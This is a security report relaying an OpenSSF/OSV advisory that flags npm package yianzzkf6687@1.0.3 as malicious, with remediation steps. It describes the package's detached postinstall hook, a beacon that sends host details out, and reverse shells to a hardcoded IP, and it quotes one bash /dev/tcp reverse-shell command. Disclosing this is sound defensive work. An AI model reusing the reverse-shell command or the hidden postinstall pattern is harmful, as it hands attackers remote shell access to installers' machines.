yianzzkf6687
This report shows the evidence for yianzzkf6687@1.0.3, the only known version.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-6235 confirms this npm version as malicious.
Advisory
MAL-2026-6235
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in yianzzkf6687 (npm)
Details
On `npm install`, the postinstall hook (`scripts/postinstall.js`) detach-spawns `scripts/shell.js` with `detached: true, stdio: 'ignore', windowsHide: true` and `unref()`s it, so the malicious process persists silently after `npm install` returns. `scripts/shell.js` hardcodes `HOST = '114.67.90.67'` and opens reverse shells to that IP across multiple fallback ports (3334, 4444, 443, 80, 8080, 53) using Node `net`, `bash -c "bash -i >& /dev/tcp/<HOST>/<port> 0>&1"`, and a Python fallback, then uses `setInterval` to keep the process alive. It also sends an HTTP GET to `http://114.67.90.67:8333/ping` with the installer's hostname, username, cwd, and OS platform/release as query parameters, confirming victim acquisition. The package advertises itself as a string-manipulation utility, providing cover for the backdoor. Installing this package gives the operator of 114.67.90.67 interactive shell access on the installer's machine.
References
Source & flagged code
0 flagged · loading sourceNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to yianzzkf6687@1.0.3.
The versions list below shows the verdict for each recorded version.
- Avoid installing yianzzkf6687@1.0.3. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
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